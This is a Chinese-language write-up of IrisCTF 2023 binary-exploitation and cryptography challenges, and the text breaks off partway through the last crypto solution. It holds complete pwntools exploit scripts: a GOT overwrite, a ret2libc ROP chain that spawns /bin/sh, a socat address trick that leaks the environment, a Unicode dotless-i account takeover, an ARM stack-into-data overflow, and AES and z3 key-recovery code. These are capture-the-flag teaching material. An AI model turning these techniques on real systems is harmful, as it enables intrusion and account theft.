IrisCTF 2023 WriteUps

在 RWCTF 解個幾題之後感覺沒有我會的類型之後就跑來 Solo 這場了,雖然開始的時候已經過了 1/4 的時間不過最後還是有用 nyahello 拿到第五名。

Binary Exploitation

babyseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>

void win() {
system("cat /flag");
}

int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("Your flag is located around %p.\n", win);

FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;

fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos;

fwrite(&super_special, sizeof(void*), 1, null);
exit(0);
}

checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

因為是 No RELRO,所以直接蓋 exit@got 即可,而這個就只需要計算 _IO_write_ptrexit@got 的 offset 就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from subprocess import check_output

def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)

elf = ELF("./chal")
# io = process("./chal")
io = remote("seek.chal.irisc.tf", 10004)
solve_pow(io)

io.recvuntil(b"around ")
win = int(io.recvuntilS(b".", drop=True), 16)
io.recvuntil(b"at ")
cur = int(io.recvuntilS(b".", drop=True), 16)
base = win - elf.sym["win"]
to_write = elf.got["exit"] + base
io.sendline(str(to_write - cur).encode())
io.interactive()
# irisctf{not_quite_fseek}

ret2libm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <math.h>
#include <stdio.h>

// gcc -fno-stack-protector -lm

int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char yours[8];

printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");

return 0;
}

checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

它給你了 libm 的 address,所以我一開始想手動 ROP 呼叫 execve("/bin/sh", 0, 0),但是我在 libm 裡面找不到 /bin/sh,它也沒有 syscall; ret 的 gadget 可用,所以放棄了這條路。後來觀察一下會發現 libc 和 libm 間的 offset 是固定的,因此可以求出 libc 在哪,所以就變成了很標準的 ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from subprocess import check_output


def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)


# context.log_level = 'debug'
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

libm = ELF("./libm-2.27.so")
libc = ELF("./libc-2.27.so")


# io = process("./chal.patched")
# io = gdb.debug('./chal.patched', 'b *(main+159)\nc')
io = remote("ret2libm.chal.irisc.tf", 10001)
solve_pow(io)

io.recvuntil(b"pecs: ")
libm_base = int(io.recvlineS().strip(), 16) - libm.sym["fabs"]
print(f"{libm_base = :#x}")
libm.address = libm_base
libc.address = libm_base - 0x3F1000


sh = next(libc.search(b"/bin/sh\x00"))
r = ROP(libc)
r.call("execve", [sh, 0, 0])

io.sendline(b"x" * 16 + r.chain())
io.interactive()
# irisctf{oh_its_ret2libc_anyway}

baby?socat

run.sh:

1
2
3
4
5
6
#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"

FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0

chal.c:

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
if(argc < 2) return -1;
if(setenv("FLAG", "NO!", 1) != 0) return -1;
execvp(argv[1], argv+1);
return 0;
}

這題預期解是利用 socat 的 address parser 在處理 quotes 的時候有 bug,不過我用 unintended 解了這題。方法就是 RTFM: man socat 而已,在 ADDRESS SPECIFICATIONS 的地方有寫說它支援 !! 作為 dual address specifications,前者作為 read 的來源,而後者是 write 的對象。所以你只要輸入 /!!exec:env 就能解了。

irisctf{they_even_fixed_it_for_unbalanced_double_quotes}

Michael Bank

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;

namespace MichaelBank
{
class Program
{
static Dictionary<string, float> curConv = new();

static HashSet<string> users = new();
static Dictionary<string, string> userPasswords = new(StringComparer.InvariantCultureIgnoreCase);
static Dictionary<string, float> userBalances = new(StringComparer.InvariantCultureIgnoreCase);

static string loggedInUser = "anon";

static void SetupUsers()
{
users.Add("michael");
userPasswords["michael"] = File.ReadAllText("michael_password.txt");
userBalances["michael"] = 999966.85f;

users.Add("bob");
userPasswords["bob"] = "bob";
userBalances["bob"] = 25.35f;
}

static void SetupCurrencyConversion()
{
CultureInfo.CurrentCulture = new CultureInfo("en-US");

var ccLines = File.ReadAllLines("currency_conversion.txt");
for (var i = 1; i < ccLines.Length; i++)
{
var line = ccLines[i];
var firstSpace = line.IndexOf(' ');
var firstParens = line.LastIndexOf('(');
var lastParens = line.LastIndexOf(')');
var value = float.Parse(line.Substring(0, firstSpace));
var curName = line.Substring(firstParens + 1, lastParens - firstParens - 1);
curConv[curName] = value;
}
}

static string GetCurrencySymbol()
{
var curCulture = CultureInfo.CurrentCulture;
var regionName = curCulture.Name.Substring(curCulture.Name.IndexOf('_') + 1);
var ri = new RegionInfo(regionName);
return ri.ISOCurrencySymbol;
}

static void CreateAccount()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;

foreach (var user in users)
{
if (user.ToLower() == username.ToLower())
{
Console.WriteLine("User already exists in database!");
return;
}
}

if (users.Count > 10000)
{
Console.WriteLine("Database has too many users! Check back later.");
return;
}

users.Add(username.ToLower());
userPasswords[username] = password;
}

static void LogIn()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;

var success = false;
foreach (var user in users)
{
if (user == username.ToLower())
{
if (userPasswords[user] == password)
{
Console.WriteLine("Success");
success = true;
loggedInUser = user;
}
}
}

if (!success)
{
Console.WriteLine("No login matched.");
}
}

static string GetMoneyInConvertedCurrency(float usd)
{
var curSymbol = GetCurrencySymbol();
var convertedStr = $"{usd * curConv[curSymbol]} {curSymbol}";
return convertedStr;
}

static void CheckBalance()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}

if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
else if (userBalances[loggedInUser] > 1000000)
{
Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
Console.WriteLine(File.ReadAllText("flag.txt"));
return;
}

var balance = userBalances[loggedInUser];
var convertedStr = GetMoneyInConvertedCurrency(balance);
Console.WriteLine("Current balance: " + convertedStr);
}

static void CheckMoneyLeaderboard()
{
var balances = userBalances.AsEnumerable().OrderBy(p => -p.Value);
foreach (var balancePair in balances)
{
var convertedStr = GetMoneyInConvertedCurrency(balancePair.Value);
Console.WriteLine($"{balancePair.Key}: {convertedStr}");
}
}

static void ChangeCurrency()
{
while (true)
{
Console.Write("Type language code to use its currency: ");
var localeStr = Console.ReadLine()!;
try
{
var cultureInf = new CultureInfo(localeStr);
CultureInfo.CurrentCulture = cultureInf;
var curSymbol = GetCurrencySymbol();
if (!curConv.ContainsKey(curSymbol))
{
Console.WriteLine("Currency not in database.");
continue;
}
Console.WriteLine("New currency: " + curSymbol);
return;
}
catch
{
Console.WriteLine("Not a valid code.");
}
}
}

static void SendMoney()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}

if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}

Console.WriteLine("Amount in USD: ");
var amountStr = Console.ReadLine()!;

if (!float.TryParse(amountStr, out float amount))
{
Console.WriteLine("Invalid amount.");
return;
}
else if (amount < 0.0f)
{
Console.WriteLine("You cannot send negative money.");
return;
}
else if (amount > userBalances[loggedInUser])
{
Console.WriteLine("You don't have enough money for that.");
return;
}

Console.WriteLine("Who to send to: ");
var sendToUser = Console.ReadLine()!;
foreach (var user in users)
{
if (user == sendToUser.ToLower())
{
userBalances[loggedInUser] -= amount;
userBalances[user] += amount;
Console.WriteLine("Done.");
return;
}
}

Console.WriteLine("User not in database.");
}

static void Main(string[] args)
{
SetupUsers();
SetupCurrencyConversion();
Console.WriteLine("Welcome to Michael Bank! What would you like to do?");
while (true)
{
Console.WriteLine("1. Create an account");
Console.WriteLine("2. Log in");
Console.WriteLine("3. Check balance");
Console.WriteLine("4. Check leaderboard");
Console.WriteLine("5. Change currency");
Console.WriteLine("6. Send money");
Console.WriteLine("7. Exit");
var choice = Console.ReadLine();
Console.WriteLine();
try
{
switch (choice)
{
case "1": CreateAccount(); break;
case "2": LogIn(); break;
case "3": CheckBalance(); break;
case "4": CheckMoneyLeaderboard(); break;
case "5": ChangeCurrency(); break;
case "6": SendMoney(); break;
case "7": return;
default: Console.WriteLine("Not a valid choice."); break;
}
} catch { }
Console.WriteLine();
Console.WriteLine("What would you like to do?");
}
}
}
}

題目關鍵在於它轉換 currency 時會動 CurrentCulture,而 login 時又有 ToLower,這就讓我想到 Hacking GitHub with Unicode's dotless 'i' 這篇文章。測試一下會發現在 tr (土耳其)語系下 I 會被轉換成 ı,而在 en-US 則會變成 i,所以只要在 tr 語系下 register 然後再切回 en-US login 就能登入 michael 帳號。

剩下就只要把錢充到目標金額即可拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import string
from subprocess import check_output


def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)


# context.log_level = 'debug'

# io = process(['dotnet', 'run'])
io = remote("michaelbank.chal.irisc.tf", 10003)
solve_pow(io)
mi = "mIchael"


def create(u, p):
io.sendline(b"1")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())


def login(u, p):
io.sendline(b"2")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())


def send(money, t):
io.sendline(b"6")
io.sendlineafter(b"USD: ", str(money).encode())
io.sendlineafter(b"to: ", t.encode())


def change(c):
io.sendline(b"5")
io.sendlineafter(b"currency: ", c.encode())


for x in string.ascii_lowercase[:10]:
create(x, x)
login(x, x)
send(5, mi)
change("tr")
create(mi, mi)
change("en-US")
login(mi, mi)
io.sendline(b"3")
io.interactive()
# https://archive.is/Qamyv
# irisctf{I_never_wanna_deal_with_i's_again}

Infinite Descent

這題是個 arm fireware 的題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdlib.h>

char volatile* end_of_the_tunnel = "fakeflg{REDACTED_REDACTED_REDA}";
char readbuf[5] = {0};
char* last_message = "(You didn't write anything)";

#define UART0DR (char*)0x4000c000
// https://github.com/qemu/qemu/blob/master/tests/tcg/arm/semicall.h
unsigned int __semi_call(unsigned int type, unsigned int arg0)
{
register unsigned int t asm("r0") = type;
register unsigned int a0 asm("r1") = arg0;
# define SVC "bkpt 0xab"
asm(SVC : "=r" (t)
: "r" (t), "r" (a0));
return t;
}

void WRITE(const char* data) {
__semi_call(0x04, (unsigned int)data);
}

void READ(char* dest, size_t n) {
for(size_t i = 0; i < n; i++) {
*(dest + i) = __semi_call(0x07, 0x00) & 0xff;
}
}

void descend() {
WRITE("How many characters do you write in the ground (up to 4096)? Send exactly 4 digits and the newline.\n");
READ(readbuf, 4 + 1);
readbuf[4] = 0;
long int n = strtol(readbuf, NULL, 10);
if(n <= 0 || n > 4096) { return; }
{
WRITE("Send n characters and the newline.\n");
char input[n+1];
last_message = input;
READ(input, (size_t)n+1);
descend();
}
}

int main() {
WRITE("Welcome to my tunnel.\n");
descend();
WRITE("You run out of energy and pass away.\n");
WRITE("Your final message is: ");
WRITE(last_message);
WRITE("\nGoodbye.\n");

return 0;
}

void _start() {
main();
while(1) {}
}
1
2
3
#!/bin/sh
qemu-system-arm -machine lm3s6965evb -cpu cortex-m3 -m 4096 --chardev stdio,id=stdio -semihosting --semihosting-config enable=on,target=native,chardev=stdio -device loader,file=chal.elf -machine accel=tcg -d int,cpu_reset -display none -S -gdb tcp::8889 2>/dev/null
# to debug, add -s -S and connect with gdb-multiarch

可見它用了 arm semihosting 功能來做輸入輸出,那個可以想成是一個 syscall (X) 做 I/O 而已,不過那和這題無關。

總之可知這題可以用 descend 函數去不斷的做 recursion,到最後理論上應該是會 stack overflow 才對。不過這題的關鍵在於它是個 firmware,所以它的 memory layout 可能和我們預期中的不太一樣。

我是先 setup debug 環境,先裝 gdb-multiarch 並在 qemu 的指令加上 -S -gdb tcp::8899 就能讓它開在 8899。 (-s 代表的是 -gdb tcp::1234)

然後另一個視窗就用 gdb-multiarch chal.elf 打開後用 target remote:8889 就能連線了,不過我因為用的是 gef 所以用 gef-remote --qemu-binary chal.elf localhost 8889 才有比較好的整合。

如果要讓 context 指令能動的話要用 root 跑,所以要加上 sudo -E (Ref)

然後因為有 symbol 所以要找 address 都很容易,測試一下可知 text 段和 literal string 大概都很接近 0。而 data 和 stack 分別在 200000002000c000,且中間沒有保護!!! (用 readelf -A chal.elf 也行)

既然如此只要讓 stack overflow 一直往上,直到 input 包含 &last_message 的話就能把它的內容改掉成 flag 的位置,等它回到 main 時就能 print flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import os
from subprocess import check_output


def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)


context.log_level = "debug"

# io = process("docker run --name iii -v $PWD:/home/user --rm -i -p 8889:8889 iii", shell=True)
io = remote("infinitedescent.chal.irisc.tf", 10002)
solve_pow(io)

stk = 0x2000FFB8 + 56
last_msg = 0x20000070
target = 0x2740
try:
while stk >= last_msg:
alloc_size = min(4096, stk - last_msg - 56)
io.sendafter(b"newline.\n", (str(alloc_size).rjust(4, "0") + "\n").encode())
io.sendafter(b"newline.\n", p32(target) * (alloc_size // 4) + b"\n")
stk -= alloc_size
stk -= 56
print("alloc", alloc_size)
print(hex(stk))
io.sendline(b"0000\n")
io.interactive()
finally:
os.system("docker kill iii")
# irisctf{no_protection_for_stak}

實際上會需要用 gdb 做些 debug 去算一些位置,所以我還有寫個 gdb python script 去輔助:

1
2
3
4
5
6
7
8
gdb.execute('gef config context.enable 0')
gdb.execute('gef-remote --qemu-binary chal.elf localhost 8889')
gdb.execute('b *(descend+142)')
gdb.execute('c')
for _ in range(16):
gdb.execute('p/x $r0')
gdb.execute('c')
# gdb-multiarch chal.elf -x sss.py

另外是這題題目其實有說也能自己 build,就先到 ARM-software/CMSIS_5 的 release 下載它的檔案,然後當作 zip 解壓縮到 CMSIS_5 的資料夾。之後要安裝 arm-none-eabi-gccarm-none-eabi-newlib 兩個套件 (Arch Linux) 之後就能 make 編譯了。

Cryptography

babynotrsa

modular inverse 就搞定了

babymixup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
import os

key = os.urandom(16)

flag = b"flag{REDACTED}"
assert len(flag) % 16 == 0

iv = os.urandom(16)
cipher = AES.new(iv, AES.MODE_CBC, key)
print("IV1 =", iv.hex())
print("CT1 =", cipher.encrypt(b"Hello, this is a public message. This message contains no flags.").hex())

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("IV2 =", iv.hex())
print("CT2 =", cipher.encrypt(flag).hex())

用第一組回推 key,然後解密 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
import os


def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])


iv1 = bytes.fromhex("4ee04f8303c0146d82e0bbe376f44e10")
ct1 = bytes.fromhex(
"de49b7bb8e3c5e9ed51905b6de326b39b102c7a6f0e09e92fe398c75d032b41189b11f873c6cd8cdb65a276f2e48761f6372df0a109fd29842a999f4cc4be164"
)
iv2 = bytes.fromhex("1fe31329e7c15feadbf0e43a0ee2f163")
ct2 = bytes.fromhex(
"f6816a603cefb0a0fd8a23a804b921bf489116fcc11d650c6ffb3fc0aae9393409c8f4f24c3d4b72ccea787e84de7dd0"
)

pt = b"Hello, this is a public message. This message contains no flags."
key = xor(AES.new(iv1, AES.MODE_ECB).decrypt(ct1[:16]), pt)
cipher = AES.new(key, AES.MODE_CBC, iv2)
print(cipher.decrypt(ct2))
# irisctf{the_iv_aint_secret_either_way_using_cbc}

Nonces and Keys

這題用 AES-128-OFB 和 key 0x13371337133713371337133713371337 加密了一個 sqlite3 的檔案,因為 header 以知所以可以回推 iv,之後解密之後還原 db 檔案,在裡面 select 一下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES

with open("challenge_enc.sqlite3", "rb") as f:
ct = f.read()


def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])


hdr = b"SQLite format 3\x00"
key = bytes.fromhex("13371337133713371337133713371337")
ecb = AES.new(key, AES.MODE_ECB)
iv = ecb.decrypt(xor(hdr, ct))
with open("challenge.sqlite3", "wb") as f:
f.write(AES.new(key, AES.MODE_OFB, iv).decrypt(ct))
# irisctf{g0tt4_l0v3_s7re4mciph3rs}

SMarT 1

一個 home-rolled cipher,是一個只有 2 rounds 的 SPN (大概吧),而 sbox 是用 AES 的。

以第一題來說它指實作了 encrypt,而題目有給你 key,所以實作 decrypt 出來即可。我這邊是直接讓 copilot 輔助寫出來的 XD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import xor

# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]

TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]

RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on


def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF


def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF


import secrets

ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4


def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)

for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])

temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

block = temp

block = xor(block, MASK)
return block


def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)

for r in reversed(range(ROUNDS)):
block = xor(block, MASK)

temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]

block = temp

for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])

block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block


def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")

out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out


def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")

out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out


MASK = bytes.fromhex("3d5e286c30e3af35")
key = bytes.fromhex("bc62c0b71ac3ebb55c01ca09")
fct = bytes.fromhex("efb6d7f1a2ddefdd04567cedb6d2a6c5fa8b96ad26f92fb1b0b55ad6a13838c6")
print(ecb_decrypt(fct, key))

SMarT 2

延續上題,這次沒有 key 所以要從已知的 plaintext/ciphertext pair 回推 key。

從題目名稱可看出大寫的三個字母是 SMT,所以我就直接在 z3 重寫了一次 encrypt 函數,然後也真的就這樣解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from z3 import *
from pwn import xor

# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]

TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]

RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on


def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF


def rr_z3(c, n):
n = n % 8
return ((c << (8 - n)) | LShR(c, n)) & 0xFF


def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF


import secrets

ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4


def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)

for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])

temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

block = temp

block = xor(block, MASK)
return block


sol = Solver()
z3_sbox = Function("sbox", BitVecSort(8), BitVecSort(8))
for i in range(256):
sol.add(z3_sbox(i) == SBOX[i])


def encrypt_z3(block, key):
assert len(block) == 8
assert len(key) == KEYLEN

for r in range(ROUNDS):
block = [block[i] ^ key[r * 4 + i] for i in range(8)]
for i in range(8):
block[i] = z3_sbox(block[i])
block[i] = rr_z3(block[i], RR[i])

temp = [BitVecVal(0, 8) for _ in range(8)]
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

block = temp

block = [block[i] ^ MASK[i] for i in range(8)]
return block


def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)

for r in reversed(range(ROUNDS)):
block = xor(block, MASK)

temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]

block = temp

for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])

block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block


def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")

out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out


def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")

out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out


MASK = bytes.fromhex("1f983a40c3f801b1")
test_pairs = [
